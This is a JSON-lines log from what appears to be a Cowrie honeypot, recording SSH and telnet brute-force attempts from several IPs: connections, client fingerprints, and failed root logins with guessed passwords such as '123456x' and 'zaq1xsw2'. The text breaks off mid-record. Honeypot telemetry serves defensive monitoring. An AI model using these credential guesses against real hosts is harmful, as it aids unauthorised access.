{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:04.483193Z","src_ip":"103.27.238.116","session":"94cc733beaa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456x","message":"login attempt [root/123456x] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:05.279086Z","src_ip":"103.27.238.116","session":"94cc733beaa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:06.552794Z","src_ip":"103.27.238.116","session":"94cc733beaa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"741852","message":"login attempt [root/741852] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:07.647738Z","src_ip":"213.209.159.158","session":"c25da70c02db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":37874,"dst_ip":"159.203.135.109","dst_port":22,"session":"51aeed2a053a","protocol":"ssh","message":"New connection: 103.27.238.114:37874 (159.203.135.109:22) [session: 51aeed2a053a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:07.741390Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:07.747301Z","src_ip":"103.27.238.114","session":"51aeed2a053a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:08.002123Z","src_ip":"103.27.238.114","session":"51aeed2a053a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"summer","message":"login attempt [root/summer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:08.792008Z","src_ip":"103.27.238.114","session":"51aeed2a053a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:10.049919Z","src_ip":"103.27.238.114","session":"51aeed2a053a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.6","message":"Connection lost after 14.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:10.894749Z","src_ip":"213.209.159.158","session":"c25da70c02db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":45822,"dst_ip":"159.203.135.109","dst_port":22,"session":"007e64a8fd08","protocol":"ssh","message":"New connection: 213.209.159.158:45822 (159.203.135.109:22) [session: 007e64a8fd08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:10.996339Z"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:12.314055Z","src_ip":"147.45.211.215","session":"862edc615617","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:13.076533Z","src_ip":"213.209.159.158","session":"007e64a8fd08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:13.080314Z","src_ip":"213.209.159.158","session":"007e64a8fd08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root!123","message":"login attempt [root/Root!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:22.669392Z","src_ip":"213.209.159.158","session":"007e64a8fd08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":59880,"dst_ip":"10.17.0.5","dst_port":22,"session":"2139ef33aa4a","protocol":"ssh","message":"New connection: 103.75.183.219:59880 (10.17.0.5:22) [session: 2139ef33aa4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:24.955702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:24.961107Z","src_ip":"103.75.183.219","session":"2139ef33aa4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:25.206209Z","src_ip":"103.75.183.219","session":"2139ef33aa4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:25.930287Z","src_ip":"213.209.159.158","session":"007e64a8fd08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mamamama","message":"login attempt [root/mamamama] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:25.942806Z","src_ip":"103.75.183.219","session":"2139ef33aa4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":56268,"dst_ip":"159.203.135.109","dst_port":22,"session":"1a5daaa1101c","protocol":"ssh","message":"New connection: 213.209.159.158:56268 (159.203.135.109:22) [session: 1a5daaa1101c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:26.048338Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":41784,"dst_ip":"10.17.0.5","dst_port":22,"session":"b337036fc5ea","protocol":"ssh","message":"New connection: 77.94.47.83:41784 (10.17.0.5:22) [session: b337036fc5ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:27.008910Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:27.013535Z","src_ip":"77.94.47.83","session":"b337036fc5ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:27.137560Z","src_ip":"77.94.47.83","session":"b337036fc5ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:27.191339Z","src_ip":"103.75.183.219","session":"2139ef33aa4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyui1","message":"login attempt [root/qwertyui1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:27.511550Z","src_ip":"77.94.47.83","session":"b337036fc5ea","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:28.031585Z","src_ip":"213.209.159.158","session":"1a5daaa1101c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:28.164380Z","src_ip":"213.209.159.158","session":"1a5daaa1101c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:28.638080Z","src_ip":"77.94.47.83","session":"b337036fc5ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ROOT.123","message":"login attempt [root/ROOT.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:35.110691Z","src_ip":"213.209.159.158","session":"1a5daaa1101c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.5","message":"Connection lost after 12.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:38.523113Z","src_ip":"213.209.159.158","session":"1a5daaa1101c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":41718,"dst_ip":"159.203.135.109","dst_port":22,"session":"19028beb7684","protocol":"ssh","message":"New connection: 213.209.159.158:41718 (159.203.135.109:22) [session: 19028beb7684]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:38.608804Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47892,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b9244988ddc","protocol":"telnet","message":"New connection: 152.42.224.71:47892 (10.17.0.5:23) [session: 3b9244988ddc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:38.833337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:40.697131Z","src_ip":"213.209.159.158","session":"19028beb7684","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:40.700938Z","src_ip":"213.209.159.158","session":"19028beb7684","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.236.22.41","src_port":40754,"dst_ip":"159.203.135.109","dst_port":22,"session":"808d4c0847b6","protocol":"ssh","message":"New connection: 185.236.22.41:40754 (159.203.135.109:22) [session: 808d4c0847b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:40.860371Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:40.864953Z","src_ip":"185.236.22.41","session":"808d4c0847b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:41.209088Z","src_ip":"185.236.22.41","session":"808d4c0847b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq1xsw2","message":"login attempt [root/zaq1xsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:41.961531Z","src_ip":"185.236.22.41","session":"808d4c0847b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:43.103718Z","src_ip":"185.236.22.41","session":"808d4c0847b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":51252,"dst_ip":"10.17.0.5","dst_port":22,"session":"be24740c1b93","protocol":"ssh","message":"New connection: 103.15.222.183:51252 (10.17.0.5:22) [session: be24740c1b93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:44.081803Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T16:58:44.090920Z","src_ip":"103.15.222.183","session":"be24740c1b93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@ope